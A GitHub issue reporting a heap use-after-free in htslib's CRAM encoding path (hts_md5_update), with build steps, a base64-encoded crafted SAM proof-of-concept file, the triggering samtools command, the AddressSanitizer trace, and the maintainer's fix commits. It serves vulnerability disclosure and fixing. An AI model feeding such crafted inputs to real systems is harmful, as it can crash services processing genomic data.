Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Use-after-free during hts_md5_update #1698

Closed
OctavioGalland opened this issue Nov 16, 2023 · 0 comments
Closed

Use-after-free during hts_md5_update #1698

OctavioGalland opened this issue Nov 16, 2023 · 0 comments

Comments

@OctavioGalland
Copy link

Summary

Use-after-free in hts_md5_update during parsing of a crafted SAM/FASTA file pair.

Environment

Built using LLVM 14 with ASAN on Ubuntu 22.04

How to reproduce

Build with ASAN on latest commit like so:

git clone --recursive https://github.com/samtools/htslib
cd htslib
autoreconf -i
CC=clang-14 CXX=clang++-14 CFLAGS="-fsanitize=address -g" CXXFLAGS="-fsanitize=address -g" LDFLAGS="-fsanitize=address -g" ./configure
make -j$(nproc)

git clone --recursive https://github.com/samtools/samtools
cd samtools
autoheader
autoconf -Wno-syntax
CC=clang-14 CXX=clang++-14 CFLAGS="-fsanitize=address -g -I$(pwd)/../htslib" CXXFLAGS="-fsanitize=address -g -I$(pwd)/../htslib" LDFLAGS="-fsanitize=address -g -L$(pwd)/../htslib" ./configure
make -j$(nproc)

Within the samtools folder, get poc file and reproduce with:

echo -ne "QENPCVNTU1NTrFNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NSU1NTU1NTU1NTU1NTU1NTU1NTU1NT
U1NTU1NTU1NTU3FTU1NTU1NTU1NTU1NTU3NRDQ0NDQ0CDQ0NDQ0NDQ0NDQ0NDQ0NDU46YzEJTE46
MTAKczAJMAljMQkxCTQJMTBNCSoJMAkwCUFBQ0NHQ0dHVFQJKioqKioqKioqKgpzMQk5CWMxCTIJ
MAkxME0JKgkwCTAJAUNDR0NHR1RUQwkqKioqKioqKigqCnMyCTAJYzEJMwkwCTEwTQkqCTAJMAlD
Q0dDR0dUVENHCSoqKipHKioqKioKDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDQ0NDVMNDQ0NDQ0NDQ1ubm5u
bm5ubg0NDQ0JMDExMTExMTExMTEJYzIJMzMJMAkxME0JKgkwCTAJQUFDQ0dDR0dUVAkqKioqKioq
KioqCnMxCTAxCWMxCTMzCTAJMTBNCSoJMAkwCUFBQ0NHQ0dHVFQJKioqKioqKioqKgpzMQkwCWMx
CTIJMAkxME0JKgkwCTAJQUMtR0NHR1RUQwkqKioqKioqKioqCipzMgkwUwpA" | base64 -d > poc
./samtools view -C -T ../htslib/test/c2.fa poc

Which on my setup outputs:

CRAM-P���>	I�ρA�}�K
�0`u��w���>ڀP� ��G�}��jA�����҅��~�f�l4�lFt��Y�����-ڵV��d�$DA�D+���	�v%��&��e�31��D�eԇ�h:���R�=ܢ7��r�w��=8��{w�r�
                                                                                                                     �9
W��;=Yx(#2W��Qġ�p�q� �D��%�Tŕ�
      ���AP��mm��74[W::sam_parse1] unrecognized reference name "c1"; treated as unmapped
[W::sam_parse1] unrecognized reference name "c1"; treated as unmapped
[W::sam_parse1] unrecognized reference name "c1"; treated as unmapped
[W::sam_parse1] unrecognized reference name "c1"; treated as unmapped
=================================================================
==12230==ERROR: AddressSanitizer: heap-use-after-free on address 0x6020000051b0 at pc 0x55cc6044fc97 bp 0x7ffd1d4ace80 sp 0x7ffd1d4ac650
READ of size 1 at 0x6020000051b0 thread T0
    #0 0x55cc6044fc96 in __asan_memcpy (/home/octavio/samtools/samtools+0x132c96) (BuildId: 7078ea94d4e08689f85e1df47e2d609c021d2440)
    #1 0x55cc607633e9 in hts_md5_update /home/octavio/htslib/md5.c:268:2
    #2 0x55cc60821cbd in cram_encode_container /home/octavio/htslib/cram/cram_encode.c:2041:17
    #3 0x55cc6089196c in cram_flush_container /home/octavio/htslib/cram/cram_io.c:4128:14
    #4 0x55cc60892795 in cram_flush_container_mt /home/octavio/htslib/cram/cram_io.c:4280:16
    #5 0x55cc6083bfb7 in cram_next_container /home/octavio/htslib/cram/cram_encode.c:3129:19
    #6 0x55cc60839ddc in cram_put_bam_seq /home/octavio/htslib/cram/cram_encode.c:3889:30
    #7 0x55cc607a74f0 in sam_write1 /home/octavio/htslib/sam.c:4437:16
    #8 0x55cc604b6b1c in check_sam_write1 /home/octavio/samtools/sam_view.c:404:13
    #9 0x55cc604b8f2a in process_one_record /home/octavio/samtools/sam_view.c:715:17
    #10 0x55cc604ae3ec in stream_view /home/octavio/samtools/sam_view.c:758:18
    #11 0x55cc604a9be8 in main_samview /home/octavio/samtools/sam_view.c:1363:15
    #12 0x55cc60528eed in main /home/octavio/samtools/bamtk.c:244:55
    #13 0x7f1911029d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #14 0x7f1911029e3f in __libc_start_main csu/../csu/libc-start.c:392:3
    #15 0x55cc603cdb24 in _start (/home/octavio/samtools/samtools+0xb0b24) (BuildId: 7078ea94d4e08689f85e1df47e2d609c021d2440)

0x6020000051b0 is located 0 bytes inside of 1-byte region [0x6020000051b0,0x6020000051b1)
freed by thread T0 here:
    #0 0x55cc60450d96 in __interceptor_realloc (/home/octavio/samtools/samtools+0x133d96) (BuildId: 7078ea94d4e08689f85e1df47e2d609c021d2440)
    #1 0x55cc60707c38 in ks_resize /home/octavio/htslib/./htslib/kstring.h:160:19
    #2 0x55cc60700703 in kputsn /home/octavio/htslib/./htslib/kstring.h:237:24
    #3 0x55cc606f3896 in build_header_line /home/octavio/htslib/header.c:736:11
    #4 0x55cc60701697 in sam_hrecs_rebuild_lines /home/octavio/htslib/header.c:753:13
    #5 0x55cc606ef797 in sam_hrecs_rebuild_text /home/octavio/htslib/header.c:2011:9
    #6 0x55cc606edd42 in sam_hdr_rebuild /home/octavio/htslib/header.c:1258:9
    #7 0x55cc606ed94f in sam_hdr_length /home/octavio/htslib/header.c:1208:22
    #8 0x55cc60897dff in cram_write_SAM_hdr /home/octavio/htslib/cram/cram_io.c:4953:18
    #9 0x55cc6078da10 in sam_hdr_write /home/octavio/htslib/sam.c:2206:13
    #10 0x55cc604a7f8a in main_samview /home/octavio/samtools/sam_view.c:1250:17
    #11 0x55cc60528eed in main /home/octavio/samtools/bamtk.c:244:55
    #12 0x7f1911029d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

previously allocated by thread T0 here:
    #0 0x55cc60450d96 in __interceptor_realloc (/home/octavio/samtools/samtools+0x133d96) (BuildId: 7078ea94d4e08689f85e1df47e2d609c021d2440)
    #1 0x55cc60707c38 in ks_resize /home/octavio/htslib/./htslib/kstring.h:160:19
    #2 0x55cc60707a9c in kputc_ /home/octavio/htslib/./htslib/kstring.h:262:6
    #3 0x55cc606f386a in build_header_line /home/octavio/htslib/header.c:735:11
    #4 0x55cc60701697 in sam_hrecs_rebuild_lines /home/octavio/htslib/header.c:753:13
    #5 0x55cc606ef797 in sam_hrecs_rebuild_text /home/octavio/htslib/header.c:2011:9
    #6 0x55cc606edd42 in sam_hdr_rebuild /home/octavio/htslib/header.c:1258:9
    #7 0x55cc606ed94f in sam_hdr_length /home/octavio/htslib/header.c:1208:22
    #8 0x55cc60897dff in cram_write_SAM_hdr /home/octavio/htslib/cram/cram_io.c:4953:18
    #9 0x55cc6078da10 in sam_hdr_write /home/octavio/htslib/sam.c:2206:13
    #10 0x55cc604a7f8a in main_samview /home/octavio/samtools/sam_view.c:1250:17
    #11 0x55cc60528eed in main /home/octavio/samtools/bamtk.c:244:55
    #12 0x7f1911029d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: heap-use-after-free (/home/octavio/samtools/samtools+0x132c96) (BuildId: 7078ea94d4e08689f85e1df47e2d609c021d2440) in __asan_memcpy
Shadow bytes around the buggy address:
  0x0c047fff89e0: fa fa fd fa fa fa 00 fa fa fa 04 fa fa fa 03 fa
  0x0c047fff89f0: fa fa 00 07 fa fa 00 00 fa fa 04 fa fa fa 00 00
  0x0c047fff8a00: fa fa 00 00 fa fa 04 fa fa fa 00 00 fa fa 00 00
  0x0c047fff8a10: fa fa 04 fa fa fa 00 00 fa fa 00 00 fa fa fd fd
  0x0c047fff8a20: fa fa 00 00 fa fa fd fa fa fa fd fd fa fa 00 fa
=>0x0c047fff8a30: fa fa 00 01 fa fa[fd]fa fa fa fd fa fa fa fd fa
  0x0c047fff8a40: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa
  0x0c047fff8a50: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fa
  0x0c047fff8a60: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fa
  0x0c047fff8a70: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fd
  0x0c047fff8a80: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==12230==ABORTING
jkbonfield added a commit to jkbonfield/htslib that referenced this issue Nov 16, 2023
@jkbonfield
Protect against CRAM slice end going beyond end of reference.
576d5e4 
This was checked for with aligned data, but unmapped "placed" reads
could start beyind the reference end and cr->aend was dutifully set
where it claimed to start. This could cause buffer read-overruns when
computing the reference md5.

Fixes samtools#1698, fixes samtools#1700
@jkbonfield jkbonfield mentioned this issue Nov 16, 2023
Closed
jkbonfield added a commit to jkbonfield/htslib that referenced this issue Nov 16, 2023
@jkbonfield
Protect against CRAM slice end going beyond end of reference.
9edf2b1 
This was checked for with aligned data, but unmapped "placed" reads
could start beyind the reference end and cr->aend was dutifully set
where it claimed to start. This could cause buffer read-overruns when
computing the reference md5.

Fixes samtools#1698, fixes samtools#1700
jkbonfield added a commit to jkbonfield/htslib that referenced this issue Nov 16, 2023
@jkbonfield
Protect against CRAM slice end going beyond end of reference.
569fc95 
This was checked for with aligned data, but unmapped "placed" reads
could start beyind the reference end and cr->aend was dutifully set
where it claimed to start. This could cause buffer read-overruns when
computing the reference md5.

Fixes samtools#1698, fixes samtools#1700
jkbonfield added a commit to jkbonfield/htslib that referenced this issue Nov 17, 2023
@jkbonfield
Protect against CRAM slice end going beyond end of reference.
3ece0c1 
This was checked for with aligned data, but unmapped "placed" reads
could start beyind the reference end and cr->aend was dutifully set
where it claimed to start. This could cause buffer read-overruns when
computing the reference md5.

Fixes samtools#1698, fixes samtools#1700
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
1 participant
@OctavioGalland